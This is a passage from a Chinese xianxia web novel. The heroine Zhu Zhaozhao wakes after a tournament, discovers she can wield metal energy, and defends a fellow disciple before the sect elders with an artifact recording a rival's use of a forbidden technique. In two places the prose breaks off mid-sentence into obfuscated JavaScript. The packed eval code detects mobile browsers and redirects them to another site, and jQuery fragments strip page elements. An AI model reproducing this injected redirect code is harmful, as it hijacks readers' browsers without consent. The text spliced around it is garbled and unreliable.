祝昭昭:这简直是危言耸听·jpg 本来听到这,祝昭昭已经可以‘正好’睁眼,然后找药吃了。 可她刚准备动起来,就听云珈接着道:“不过话说回来,最后昭昭他们那边的擂台结界到底是怎么碎的啊,那可是能挡元婴中期冲击的结界,居然就那么碎了?太夸张了吧。” “不知道。” 齐青青也很疑惑:“决赛开始前昭昭有说过她刚刚进阶金丹中期。而刑煜那天虽然听说是突然修为进阶,灵力失控导致发狂,但修为再怎么进阶,也不可能到震碎擂台结界的程度。所以这事确实挺奇怪的。” “掌刑司这段时间都在调查这事呢,但都三天了,还是没查出什么来。” 还没查出什么来? 听到这的祝昭昭立刻躺得平平,想再看看能听到什么有用的消息。 云珈和齐青青却没再继续这个话题。 先是深深叹了口气,紧接着,云珈突然压低声音:“诶,奸商李的赌局你押昭昭赢了吗?” 这个奸商李祝昭昭认得,原名李数金,是剑宗一众爱开赌局的人里搞得比较有声有色的几个人之一,以赔率高,返灵石爽快出名。 云珈说着,有点愤愤又惋惜:“昭昭太厉害,听在她们那边擂台观战的弟子说,她第一个照面就给刑煜狠狠上了眼药啊,最后因为胜负太明显,赔率都唰一下变低了。” “我五十灵石出,七十灵石回,真是可惜。” 听到这的祝昭昭:……谢谢大家对我的肯定? 齐青青的反应比祝昭昭大得多:“你在说什么啊,昭昭还在这躺着呢,你怎么能当着她面说押她擂台输赢的事?” 所以避开我就可以说了? 祝昭昭:陷入沉思。 被正义凛然的齐青青震惊,云珈羞愧地低下了头:“好吧,你说得对,昭昭还昏迷着,我是不该在她面前说这些话。” “我等她醒了再说。” 实在是听不下去了的祝昭昭一下子从床上坐直身子。 成功得到云珈的惊声尖叫—— “啊,诈尸啦!!” “诈你个头啦!”照着云珈脑袋就是一个暴栗,齐青青惊喜地看着祝昭昭,“昭昭,你终于醒了,你感觉怎么样?” 捂着差点穿孔的耳朵,祝昭昭身心俱疲:“我还好……真的,我还好。” 一点都不好吧。 云珈和齐青青又懵又心疼地看着祝昭昭。 紧接着,云珈再次喜得齐青青赏的暴栗:“都怪你,叫那么大声做什么,都吓到昭昭了!” “好好好,我错了还不行嘛。”云珈抱着头,“我是看昭昭突然醒了,太惊喜了才会叫的嘛,我也不是故意的啊。” “快和昭昭道歉。”佯装板着脸,齐青青捏捏云珈脸颊。 云珈立刻乖乖地:“对不起昭昭,害你受惊了。” 见云珈一副可怜巴巴的模样,祝昭昭哭笑不得,连忙顺着台阶下:“也怪我一下子坐起来,没事。” 一把搂住祝昭昭胳膊摇来摇去,云珈满脸笑模样:“我就知道昭昭最好了。” 整个人被胳膊带着摇来晃去,祝昭昭拍拍云珈脑袋。 目光从云珈身上收回,齐青青无奈摇摇头,从袖中取出一只传信鹤输入灵力后放飞。 眼尖地在传信鹤翅上瞧见掌刑司的标志,祝昭昭问:“青青,你怎么会有掌刑司的传信鹤?有人找你麻烦了?” “没有啊。” 目送传信鹤消失在视线中,齐青青回头:“是贺师姐昨天突然把传信鹤给我,说要是昭昭你醒了的话,就第一时间把传信鹤放飞回掌刑司。” 直觉此事反常,祝昭昭心里一个咯噔。 脸上表情却平常:“是么。” “嗯。”齐青青点头,“那既然昭昭你醒了,我们也就不在这继续打扰你了,你好好休息一会儿吧。” 说着发现云珈还赖在祝昭昭手臂上,齐青青直接弹了她一个脑瓜崩,“快起来,我们要回去了。你这像什么样子。” 疼得‘哎呦’一声,不情不愿松开手的云珈很委屈:“可是昭昭身上很香嘛,我一下闻入迷了才待久的,不信青青你也闻闻,真的可香了,越闻越香。” 齐青青对此的回答,是直接把云珈从祝昭昭身旁薅起来。 无视嗷嗷喊痛的云珈,她笑着和祝昭昭道别:“那昭昭,我们先走啦。” 微笑着和两人道别,直到两人的身影彻底消失在视线中,祝昭昭终于迟疑着抬起袖口放在鼻子下轻嗅。 然后毫不意外地嗅到满鼻子月清花香。 真是怪了,明明从小待在雾鸣山修炼长大的是白月书和秦之衡,为什么只有她和慕行秋身上带了月清花的味道?? 她才在雾鸣山待了几个月? 百思不得其解的祝昭昭最后只能将这一怪现象归咎于前段时间她在山中密室待了太久。 被子一掀跳下床,祝昭昭环视一圈,突然发现这里不是她位于雾鸣山的小屋,而是掌筠这边的静心阁。 她终于彻底放松下来。 懒洋洋扫了眼东西放得五花八门的桌子,祝昭昭随手捡起一瓶白月书送来的疗伤药倒出几粒来塞嘴里,又边嚼丹药边拉了张椅子坐在桌旁,抬手,掌心很快跃起一团淡蓝色的灵力。 紧接着快速捏了几个诀,她闭眼内观片刻后,确认自己进阶了。 她现在的修为,已经来到金丹后期。 很快,但不止如此。 如果没感应错,她在刚才的内观里还察觉到了更有意思的东西。 稍稍思忖片刻,祝昭昭再次张开手,掌心的灵力是熟悉的,淡蓝色中蕴含金色的模样—— 微微的金色在淡蓝里跳跃着,仿佛海水中包裹着金色光斑。静静垂眸看着那蓝金相间的灵力,她心念微动,那灵力也紧跟着微颤起来。 而随着灵力颤抖的幅度渐渐变大,原本只占中央位置的金色竟开始不断扩张,直到最后,赫然已经将淡蓝吞噬。 祝昭昭掌心的灵力,化作了纯然的金色。 静静盯着那金色半晌,她心念再动。 这次,整个房间的金属同时颤动起来,碰撞出的铿锵声在房中交织出一片乱音。 祝昭昭终于了然。 难怪。 难怪掌筠要把她带回静心阁疗伤。 她正出神,202突然冒出来:“主人,你在干嘛?” 很快注意到祝昭昭掌心灵力,它好奇探头:“这东西之前不是蓝色的吗,怎么一下黄了,变色玩呢?能让它交替闪吗,我也想玩。” 祝昭昭都听笑了。 勾勾手指示意202过来,等它来到近前的时候,祝昭昭直接把灵力拍它头顶:“我让你玩。” 下一秒,许多小型金属物件被吸引着统统朝202飞去。 它顿时吓得上蹿下跳:“这是什么啊,怎么回事啊主人,有刀,有小刀飞过来了啊啊啊!” 不紧不慢地捏起那枚小刀,祝昭昭单手托腮:“还玩吗?” 202整颗球都要摇出残影:“不玩了,我不玩了。” 闻言抬手挥退所有金属物,祝昭昭指尖一点收回灵力。 见状连忙飞到祝昭昭身边,202心有余悸:“主人,你是怎么做到的?” “反应还挺快。”祝昭昭笑,指尖在桌上瓷瓶敲出轻响,“催动灵力就可以做到。” “啊?!” 202大惊失色:“主人你成双灵根了?!那样的话你天赋不是变弱了,怎么打个架还能多了条灵根呢?” 祝昭昭:……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280537|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 果然不能指望202自己明白太多。 “一般来说,谁打个架都很难多条灵根。”祝昭昭屈指轻扣202脑袋,“所以我也不会。” “所以主人你?”202看着祝昭昭。 “所以我不是打完架就多了条灵根,而是把水灵根里的源头——那些金灵力炼化了。”祝昭昭揭晓答案。 空气很安静。 目光落在毫无反应的202身上,祝昭昭挑眉:“你问问题找我要回答,现在我说完了,你不说点什么?” 扭捏了一下,202最后很不好意思:“其实我没听懂。” 空气瞬间变得更安静。 认命地叹了口气,祝昭昭言简意赅:“水灵根里的本源金灵力被我炼化,我现在可以用金灵力了。” “在只有一条水灵根的前提下。” 又是一阵沉默后,202渐渐反应过来:“主人你的意思是,你现在能用一根水灵根驱使金水两种灵力?” 解释到嘴皮发干的祝昭昭打了个响指。 “如果没记错的话,这事大反派最后都没做到吧。”202喃喃,“好像不是没做到,是他根本就不知道这样的灵根可以做到这种程度……” 自言自语完,202终于明白到祝昭昭刚才说的话到底意味着什么,继而震惊地看着她:“主人你……” 祝昭昭点点202脑袋:“我说过,如果不是剧情限制不允许这具身体修炼,慕行秋能不能毁灭修真界,真的要打个问号。” 震惊结束,202又忽然想到什么:“不过主人啊。” 祝昭昭:“什么。” “就是……”202欲言又止,像是在考虑要怎么说,“像这种本源属性上的突然变化,如果要使用的话,会不会有什么副作用啊?” “之前有些位面就是这样的。” 它伸出机械手摸下巴:“说是什么天道法则?要付的代价好像还不小。” 相比202的谨慎,祝昭昭却没什么所谓:“不小就不小呗。” 202一脸‘我主人没事吧’的无语表情:“……” 祝昭昭回敬它一个白眼:“首先,你知不知道我现在只是刚刚发现这个能力。” “我根本没用过,怎么知道要付什么代价?” “再说。”她握拳,驱散满手金色,“这种变化就是妥妥的保命底牌,谁没事会随便把底牌甩出去?” “所以别想那么多。” 祝昭昭弹了下202脑袋:“没准我可能到任务结束都用不上呢?” 绕着祝昭昭晃了两圈,202最后沉默。 见它安静下来,祝昭昭也若有所思。 灵根有源本就极其罕见,这次阴差阳错下她更进一步,甚至做到了化用本源,不得不说,确实是收获颇丰。 然木秀于林风必摧之,要知道她极速进阶本就罕见,再加上化用其他属性灵力…… 只是不知道掌筠清不清楚灵根的事。 但不论如何,祝昭昭还是决定将自己能使用金灵力这事藏好,毕竟保命底牌越多,她越安全。 这是她在过去无数次执行任务里,反复验证并成功的法则。 打定主意,祝昭昭整个人都放松下来,也终于有心思看看到底都是什么东西摆满了一桌子。 疗伤药、复灵丹、治外伤的膏药甚至还有…… “玉颜散?”捏起包装精美的小盒,祝昭昭匪夷所思。 不是,谁给病号送美白产品啊?? 祝昭昭:叹为观止。 怀着复杂的心情放下小盒,祝昭昭准备把桌上大同小异的东西收起来。 却就在摸到桌面最边缘的一个瓷盒时,她慢下动作。 和其他所有或内服或外用的药不同,那是一盒糖。 一盒什锦口味的糖。 有纸片随着祝昭昭的动作从瓷盒滑出,她将之拿起,笔画洒脱却意外能让人看清楚的字就此映入眼帘—— ‘不知你喜欢什么味道,所以选了集合口味,望你喜欢。’ 字条最后的落款,是‘慕行秋’三个字。 祝昭昭呆呆看着纸条,直到一只传信鹤从窗外飞来。 是掌刑司的传信鹤。 55. 你说什么就是什么? 传信鹤是贺稚雪发来的,上面的信息也很简单。 就是让祝昭昭现在去掌刑司一趟。 虽然没点明到底是过去干什么的,但看这传信鹤能在她刚醒就上门,甚至顾不上让她休养几天再来的架势,估计也不太可能是叫她过去嘘寒问暖的。 而结合刚才云珈和齐青青的‘三天都审不出问题’的对话…… 狠狠伸了个懒腰,祝昭昭边打哈欠,边慢吞吞地取架子上的剑宗弟子袍。 202问她:“主人,你这是要去哪?” “掌刑司。” 祝昭昭本来也没打算瞒它。 “可你不是刚醒吗?”202表示不解,“刚醒就被召唤,伤都不让养两天,剑宗这么不人道的吗?” “剑宗人不人道我不知道,”祝昭昭走到镜前开始束发,“但你小子那颗脑袋一天什么都不装,我倒是知道。” “之前叫你藏起来的东西你藏好没有?” 不小心又被祝昭昭一顿损,急于证明自己的202立刻:“当然,我办事你放心!” 点点头,祝昭昭‘嗯’了一声:“稍后到了掌刑司,你找机会把那东西拿回来。记住,一定要小心。因为不出意外的话,现在那边的看守应该会非常严厉,想带东西出来很有难度。” “但那是起决定性作用的东西。” 推开门,祝昭昭目光望进前方的路:“所以202,只许成功不许失败。” * 掌刑司—— 刚降下灵华,祝昭昭就敏锐地察觉到一股不寻常的气氛。 不再像之前见过的任何一次一样,忙碌吵闹且充满生气。今天的掌刑司依旧人来人往,却静得出奇,所有人脸上都带着种不忿与沉重。 不忿? 心中渐渐已经有了估量,祝昭昭正准备往大门方向走,却突然有声音在她后方响起—— “祝昭昭。” 乍然被叫全名,祝昭昭先是一愣,继而循声回转。 两名青年神情淡漠地注视着她:“一众长老已在厅中等候多时,请随我们前往。” 请? 任由两人说完,祝昭昭却不动身。 冷冷对上两人居高临下的视线,祝昭昭面无表情。 “谁准许你们叫我全名?” 似乎没想到眼前这个年岁不大的少女竟然会是这个反应,两名青年被噎得一怔,面面相觑。 继而‘终于’想起祝昭昭宗主亲传的身份:“……方才是我们言行不当,望海涵。” 祝昭昭依旧不动,只是静静盯着两人。 直到面前两人渐渐开始无所适从时,她方才收回目光。 “带路。” 如获大赦的两人一改方才高高在上的姿态,礼数周全地指引祝昭昭前往大厅。 * 与其他司不同,掌刑司处理事务的司刑大殿并不和议事堂在一起。因为需处理事务及人流太过繁杂,司刑大殿被设计在掌刑司门口。 议事堂反而在大殿之后。 很快跟着两人来到议事堂,只是刚靠近门口,祝昭昭就听到里面传来邢子山暗藏怒火的质问—— “证据也无证人也无,你还要嘴硬到什么时候?!” 没有错过前方带路的两人脸上一瞬幸灾乐祸的神色,祝昭昭越过停在门口的他们走进议事堂。 刚进门,祝昭昭就朗声朝着上座一众长老行礼:“路上遇了些琐事,弟子来迟。” 邢子山的斥责就此被打断。 所有人的视线早在祝昭昭进门的时候,就已经全部转移到她身上。坐在最中间的掌筠高兴地朝她招手:“昭昭你来啦,来来,快过来我这。” 无视邢子山盯着自己的,那仿佛要吃人的目光,祝昭昭摇头:“弟子昏迷三日刚醒,如今想多站一会儿活动筋骨。” 掌筠倒也无所谓:“好吧,那随便昭昭你了,你高兴就好。” 得了掌筠首肯,祝昭昭心安理得地继续朝厅中走。 议事堂为传统布局,掌筠坐上方首座,剩下长老依次按辈分坐在两边。 除了常年闭关的大长老位置空着,其他长老全部都在。包括贺稚雪、邢子山以及白月书和秦之衡等几位长老亲传也都立在他们身后。 人员到来之齐全,更甚于宗门大比。 而慕行秋则被一众人包围着,站在议事堂中央。 一副被当做众矢之的针对的逼供架势。 长老亲传是这么对待的? 祝昭昭沉思着,缓缓站定脚步。 在慕行秋身旁。 虽说两人站归站,谁都没有往对方的位置多瞧一眼。但奇异的是,有了祝昭昭在他身旁,那种原本弥漫在空气中的,被孤立审视的感觉,竟然消失了不少。 把心里突然冒出来的‘难兄难弟齐作伴,苦难折磨少一半’诡异念头扫出脑海,祝昭昭平静目光不紧不慢地扫过上方所有人。 有点意思。 她暗笑。 “既然昭昭师妹已到,那我们便回归正题罢。” 先被祝昭昭打断说话,后面眼神警告她又被她无视,邢子山早就对她没什么耐心。 他语气生硬:“刑煜与你对战时剑招究竟为何突然反噬,将前因后果说清楚。” 祝昭昭怔。 为何剑招反噬? 前因后果? 所以这才是掌刑司审了三天都没审出结果的原因? 没想到听到的会是这么个答案,祝昭昭难得露出意外的神色看着邢子山。 这份意外落在邢子山眼里,成了一问三不知的懵然。 于是眉头当即皱紧,他更加不耐烦:“已经连擂台上的事情都回忆不起来了么?” “我就说找她过来没……” 祝昭昭直接打断邢子山:“为什么是剑招反噬?” 这次,轮到邢子山呆住。 对上他明显反应不过来的目光,祝昭昭话音平静,一字一句:“为什么在我还未了解任何内情时,就直接就给我一个结果让我承认或否认。” “这是否是正常的问话过程?” 被祝昭昭一番话噎得当场哽住,邢子山干瞪眼半天,硬是找不到理由回答。 反而是之前一直没有说话的贺稚雪开口:“昭昭言之有理。我们既然找她来问话,她就有了解全程的权利。否则只让她回答是或不是,有失偏颇。” 像是终于找到合意的观点,不善言辞的白月书和秦之衡连连点头。 邢子山却还想挣扎:“……事件审问到此早已尘埃落定,只需作为当事人的你确认事情经过便可结束。既然如此,又何必徒费口舌复述来龙去脉?” 祝昭昭根本不接他话茬。 她只问了一句话。 “这是谁的意思?” 满室静默。 再也没了刚开始时丝毫不把祝昭昭放眼里的嚣张,一张脸已经憋成猪肝色的邢子山深呼吸后开口—— “你与刑煜的那场擂台赛上,刑煜用了慕行秋教他的剑法。此剑法威力无匹却难以驾驭,刑煜因求胜心切强行使用了尚未学到的剑招,导致最后被剑招反噬失控。” “今日我们叫你前来,便是想让你阐述擂台上更具体的细节。” 听到这,祝昭昭终于了然。 原来这口黑锅是这么扣在慕行秋头上的。 想得倒是巧妙。 可就算观众不明白其中门道,裁判又或是掌教们难道也不明白问题所在? 思忖着,祝昭昭刚准备说点什么,旁边的慕行秋突然和她搭话。 他问:“昭昭师妹回答前,能否让我先问些问题?” 望着他眼底浅淡笑意,祝昭昭眨眨眼:“请。” 朝祝昭昭微一颔首,慕行秋看向邢子山:“你说刑煜是因强行使出尚未修习的剑法导致反噬 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慕行秋语调微冷:“我是否可以认为,你与这次刑煜违规使用禁术破坏擂台规则一事有关系。” 嚯。 这么直接的吗? 抱着吃瓜心态,祝昭昭目光在堂上扫了一圈。 邢子山的表情自不用说,除了掌筠还是那副吊儿郎当样,其他人的反应都非常有意思。 尤其是三长老和五长老。 自己徒弟被指有包庇作弊行为的嫌疑,三长老公孙睿本就严肃的长相此时更是难看。他盯着慕行秋的脸色之阴沉,看得祝昭昭都替慕行秋捏把汗。 但态度更奇怪的是五长老曾书。 照理来说,不管这次审问是被冤枉与否,慕行秋作为他亲传首徒站在堂下被人审问,甚至连审三天—— 这实在是件难以想象的事。 难道曾书铁面无私到自己的脸面都可以不顾,必须公事公办? 快速回忆了一遍他对白月书和秦之衡的态度,祝昭昭否定了这个念头。 这种反常态度只针对慕行秋。 可他对慕行秋的身份并不是一无所知。 所以这种态度的理由是? 思绪神游间,祝昭昭终于听到邢子山的回答。 出乎预料的,他情绪不复刚开始的起伏激烈。 俯视堂下站得笔直的慕行秋,他话音里带了些意味深长:“慕行秋,你所言是真是假,先搁在一边。” “你说刑煜违规使用禁术,证据何在?” 邢子山说完,祝昭昭敏锐地从贺稚雪白月书等人脸上捕捉到负屈衔冤的情绪。 视线状再似无意地掠过身旁彻底冷下神色的慕行秋,祝昭昭垂眸。 又是一阵死寂。 再开口,邢子山满面得色:“探查法器损毁,其余人证物证又皆指刑煜是因强行使用剑招遭反噬。” “慕行秋,你怀疑我包庇刑煜,我却怀疑你种种说辞……” “是故意徇私报复于我呢?” 听到这,祝昭昭终于憋不住了。 真够无耻的。 没有说话,慕行秋静静盯着邢子山。 一开始还洋洋得意回以对视,然而时间越长,邢子山就越势弱,直到最后,他近乎逃避地移开视线。 然后怒气冲冲地看向祝昭昭:“你到底想起来没有,刑煜与你对战时,究竟是如何突然被剑招反噬的。” 不敢跟慕行秋对着干,就准备找软柿子捏? 根本不给邢子山好脸色瞧,祝昭昭直接就是一个白眼。 她接着说:“反噬的确是反噬。” 邢子山闻言,脸色刚刚缓和,下一秒就听祝昭昭再道—— “但刑煜的反噬,是使用禁术暴涨灵力带来的反噬。慕师兄的判断,” “才是对的。” 56. 想吓唬我? 祝昭昭话音落下的瞬间,空气落针可闻。 不敢相信祝昭昭的回答竟然是这样,贺稚雪瞪大眼,白月书和秦之衡更是用一种近乎感激的神情望着祝昭昭。 要知道如今手握确凿证据的一方是邢子山,慕行秋的话才是真的一面之词。 孰是孰非暂且不提,在这种近乎完全劣势的情况下敢放话支持慕行秋,本就已经是一种莫大的勇气。 堂上所有人都很清楚这点。 所以不止几位长老亲传,就连某些原本态度暧昧的长老们望向祝昭昭的目光,都悄然发生了变化。 “一派胡言!” 邢子山气得眼睛都快冒火:“你踏入剑宗不过数月,哪怕修炼进步快速,但对很多更深层的事情了解不足,根本不甚理解。” “在如此情况下,你怎敢不看证据不听证词,就随意做出判断?!” 呦,这是拐着弯骂她不懂瞎说? 祝昭昭差点听笑了。 可她不会笑,因为邢子山这语气,完全没把她放在眼里。 但凡今天站在这的真是个十几岁的,心理素质还并不强大的孩子,现在都得被他骂得防线崩溃,什么话都不敢再说。 这应该也是他想要的结果。 然而很遗憾,今天站在这的是祝昭昭。 是一个来往过无数个位面,见识过无数奇行种的老油条。 对付这种欺软怕硬的人,她早已经摸索出一套完美的,效果极佳的应对流程。 邢子山的盘算,注定要落空。 相当不耐烦地一闭眼,祝昭昭语气极差:“世间天才,只听过事事学得快而精通的,没听过学一样落一样的。邢师兄你莫不是从来不与宗内骄子交流,才做出如此判断?” 差点把祝昭昭瞪出两个洞来,邢子山气急:“你!” “你什么?” 祝昭昭丝毫不落下风:“你左一句‘经验不足’右一句‘随意做判断’,但说到底,我才是那个和刑煜比试的人,慕师兄才是那个从宗门大比开始一直盯着擂台情况的人。我们说的话不算数,你说的话就算?” 话音才落,她突然感觉身旁一道视线落在自己这边。 视线平和没有恶意,却含着某种说不清道不明的情绪。 被盯得浑身不自在,祝昭昭假装没注意到,只继续看着邢子山:“邢师兄说话是否有些无理?” 怒极反笑的邢子山重复:“我不讲道理?” “我好心本着公平公正的教条告知你刑煜为何在擂台失控重伤你,如今你不管不顾便说我不讲道理?究竟谁不讲道理?” “当然是你。”祝昭昭一脸‘这还用说’的表情,“当然是上来就说刑煜是使用剑招导致失控反噬,还硬要让我说过程的你不讲道理。” “好好好。” 邢子山已经开始语无伦次:“那你说,我让你说。你那日和刑煜比试时,他究竟为什么失控遭反噬?” “很简单。” 祝昭昭言简意赅:“比试来到中场时,他渐渐落入下风。加之对我不满,于是为了击败我,他怒极之下使用了禁术提升修为,最后因控制不住被反噬。” 她提前打补丁:“别问我是什么禁术,我不知道。但灵力乱流的确有,就在我旁边,刮起一块巨石差点砸到我,我记得。” “可其他人到时,现场早已一片狼藉,根本看不见灵力乱流的痕迹。”邢子山语气极差,“况且你踏入修行一途时间尚短,焉知灵力乱流与剑气失控的区别何在?” 祝昭昭嗤声:“你就分得清?” “我如何分不清?”邢子山冷笑,“我修至元婴时,你尚不知在何处。” “修炼进展艰难无比,也敢这么得意忘形?”祝昭昭咋舌,“你那么厉害,编什么同阶修为簿?” 邢子山呆住。 “是因为你修至元婴太久了,其他人都比你修炼速度快,所以你才特意编了本同阶修为簿,时刻盯着他们,每超过一个人就把他们的名字划掉?” 说着想起什么,祝昭昭补充:“哦,而且你这簿子还很久没更新了。” 感受到贺稚雪白月书等人朝自己投来的好奇目光,邢子山瞬间慌了:“你胡说什么,什么修为簿,简直无稽之谈!” “你最近划掉一个人是三月前。”祝昭昭死鱼眼。 闻言暗暗倒吸口凉气,邢子山偷眼去瞧,成功看见贺稚雪白月书等人的目光已经从‘竟有此事’变作‘原来如此’。 与此同时,掌筠同样收到除三长老和五长老外,其他人‘是不是你教的’的眼神。 突然从吃瓜人变成当事人,掌筠清清嗓,一脸深沉地摇头。 他说这是祝昭昭的自带技能,有人会信吗? 那边邢子山惊怒交加下,选择转移话题:“你找尽理由,无非是想为慕行秋开脱。说到底你不过在雾鸣山待过段时日,他魅力就如此之大,值得你罔顾事实为他说话?” 他话音刚落,祝昭昭还没来得及反击,白月书和秦之衡已经勃然变色。 尤其是白月书,更是当场沉下脸朝邢子山发难:“邢子山,我敬你辈分高,才对你多有忍耐。” “你再胡言乱语一句试试?” 然而白月书刚说完,曾书便将手中茶盏搁在桌上碰出一声响:“月书,慎言。” 冷冷瞪了邢子山半晌,白月书最后应声垂眸。 相比白月书的愤怒,祝昭昭则更冷静些。 她很清楚邢子山是想把争执重点往下三路引,借此浑水摸鱼。 但祝昭昭不会给他机会:“我罔顾事实?” “慕师兄魅力究竟有多大我不知道,但看你随便开口就能颠倒黑白的模样,你对徇私包庇好像很熟练。” “加上刑煜进阶速度和你一样困难……”祝昭昭意味深长,“他违规操作的事,该不会真是你一手促成的吧?” “放肆!” 一直没有开口的三长老公孙睿突然重重拍桌,化神后期的威压猛地朝祝昭昭袭来。 却有两道灵力比他更快。 一道柔和仿若春风轻轻拂过满堂,将公孙睿的威压吹散;另一道则如同盾甲,牢牢将祝昭昭护在其中。 看着挡在自己前方的颀长身影,祝昭昭怔。 稍显意外的目光从慕行秋身上收回,掌筠笑眯眯地:“阿睿,小辈之间的事就让小辈们自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280539|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己处理。我们插手反倒不好。” “你觉得呢?” 公孙睿重重哼了一声,干脆闭目养神。 邢子山也被这突如其来的变故震惊,直到公孙睿恢复平静,才再次开口:“……你说话也要有根据,刑煜进阶困难所以在比试上使用禁术?” “他本就已闯进决赛,排名最次不过屈居你之下,何必多此一举?” “你确定只是屈居于我之下?” 回过神来,祝昭昭几步上前拨开挡在自己前面的慕行秋:“需知两方擂台,输家仍需重新比试,还有一位轮空之人。” “刑煜若是最后输于我,还要继续比。最坏的情况,可是直接无缘三甲。” 祝昭昭慢吞吞地,一字一句:“而听其他人说,因为某些关系,刑煜可是冲着三甲去的,最次都必须得到第三……” “够了!” 邢子山直接打断了祝昭昭:“你胡言乱语半天,最重要的东西却至今未见。” “祝昭昭,你说刑煜使用禁术暴涨灵力,证据何在。” 他说完,场间陷入一种异常的沉默。 是了,无论祝昭昭推测的再合理,没有证据,一切都只能是空话。慕行秋也正是因为这点,才被审三天,却怎么都没有结果。 原本因祝昭昭燃起的希望再次被扑灭,贺稚雪白月书等人重又消沉下来,脸上写满不忿。 一派低迷的气氛里,邢子山居高临下瞧着祝昭昭,笃定她绝对翻不出什么风浪。 也不怪他得意,毕竟刑煜失控原因一事从开始调查到现在已经过了三天。这三天里但凡有哪怕一点新证据,早就被翻出来了。 直到现在都没有,那就是没有。 作为掌刑司乾殿司主的慕行秋都无能为力,硬是被审了三天翻不了身,一个昏迷刚醒的祝昭昭,又能掀起什么风浪来? 想到这,邢子山原本被祝昭昭捅出秘密的恼怒心情都好了不少。 刑煜说得没错,这该死的黄毛丫头确实邪门得很。 但再邪门又如何,最后不还是要和慕行秋一样,乖乖被他踩在脚下? 心头又是一阵得意,邢子山享受战果般地收回看向贺稚雪白月书等人的目光,再朝祝昭昭看去,想从她脸上找到些能让他愉悦的表情。 然而视线落到祝昭昭脸上的刹那,邢子山突然发现她也在看着自己。 与他预想中的,祝昭昭会恼怒却无可奈何不同,她注视着他的眼神轻松,又饶有兴致。 那是如同猫戏耍老鼠时的眼神。 那是…… 胜券在握的眼神。 意识到这点的瞬间,一种无法抑制的,令他毛骨悚然的恐惧感将他席卷淹没。 紧接着,仿佛是在响应他的预感般,邢子山眼睁睁看着祝昭昭脸上渐渐浮现出几不可察的笑意。 下一秒,祝昭昭朗声:“想要证据?” 一片不可置信的目光里,她不紧不慢从空间袋中取出一个法器。 那个被202修好,又被她重新启用后藏住,并在刚刚终于被202偷出来交到她手里的,监视异常灵力波动的法器。 “那我就给你证据。” 57. 天玄山圣女说你是魔族! 反应最快的,是身为二长老亲传的贺稚雪:“是器鸣金!” 器鸣金,是检测异常灵力法器的正式名。 早在听见贺稚雪说出器鸣金三个字时就已面色大变,邢子山瞬间只觉浑身如坠冰窟。 他从未有哪一刻,比现在更恐惧。 对上祝昭昭那双目不转睛盯着自己的,幽深含笑的眼,邢子山狠狠咬牙。 他立刻指着祝昭昭:“祝昭昭,你竟敢私自偷拿掌刑司的法器,你可知掌刑司现在便可将你拿下判罚?!” 说完,邢子山立刻转身朝着二长老的方向深深行礼:“请二长老明鉴!” 贺稚雪也顿时着急起来:“师父!” 对两人的话音充耳不闻,殊音脸上神情依旧淡淡。 指尖不紧不慢地轻扣身旁木桌,片刻后,她终于开口—— “掌筠,你怎么看。” “怎么看?” 摆出一副认真思考过的样子,掌筠秒答:“反正这事审了三天都没结果,那既然有新证据了,为什么不看看呢?” 邢子山大声:“宗主!” 掌筠抬手,示意邢子山不要再说:“随意取用器鸣金乃违反宗规自不用说,之后祝昭昭也必定要领罚。” “但在那之前。”他弯弯眉眼,“先看看器鸣金中究竟记录了什么,也不为过。” “大家觉得呢?” 没人出声。除了邢子山,在场所有人都默认了可以先查看器鸣金。 毕竟正如掌筠所说,既然在原有证据的基础上查不出结果,那么看看新的证据又何妨? 哪怕这证据来路不规,但总归是新的。 不是么? 见此情形,作为掌刑司主的二长老殊音终于拍板:“既然所有人意见相合,那便看吧。” 知道这回自己再怎么挣扎也不会有结果,邢子山恢复平静。 只是那双手颤抖,却怎么都控制不住。 慢悠悠收回落在邢子山手上的目光,祝昭昭语气轻快:“那我这便将器鸣金启动——” “我来吧。” 从刚才开始一直安安静静的慕行秋突然开口:“器鸣金需要特定的方式才能启动。” 他朝祝昭昭伸出手。 向上的掌心泛着淡淡苍白,祝昭昭盯着那细瘦修长而带着薄茧手一会儿,最终把器鸣金放在了上面。 “给你。” 接过器鸣金,慕行秋很有礼貌地道谢:“多谢祝师妹。” 小指指节在交递器鸣金时不小心碰到他掌心,感受着其上残留的陌生触感,祝昭昭摇摇头。 “慕师兄客气。” 意外插曲结束。随着慕行秋的灵力注入器鸣金,铜制的法器很快运转起来。 一道灵光投射到空中。 变化的灵光清晰地记录着刑煜的所有灵力波动,记录他的灵力波动从比试开始的正常,到中期变得不稳,最后直接彻底崩坏。 而代表灵力波动崩坏的红光亮起那刻,刚好和慕行秋叙述里异常开始的时候符合;包括他说的,邢子山拦在他赶去擂台的路上拖延时间—— 慕行秋的证词,全部在器鸣金的回放中对上。 众人的神情开始变化。 很快回放来到最重要的时刻——检测刑煜到底是因剑招反噬失控还是使用禁术暴涨修为失控。 在所有人的注视下,器鸣金投射出的灵光维持在红色,并开始不停闪动。 这是所有掌刑司弟子都知道的标志。 修为异常暴涨的标志。 至此,所有真相水落石出。 早在红光亮起的时候,公孙睿便已经直接甩袖离开。走时脸上神色之阴沉,引得一众长老纷纷侧目。 三长老一派,现在只剩邢子山一人站在原地。 这是什么意思,不言而喻。 久到逐渐开始窒息的安静里,掌筠最后叹了口气:“子山小子,何至于此。” 身侧双手捏紧成拳,邢子山死死盯着地面,不吭一声。 “许是正如某些流言所说,子山师兄族中的确有什么叮嘱罢。” 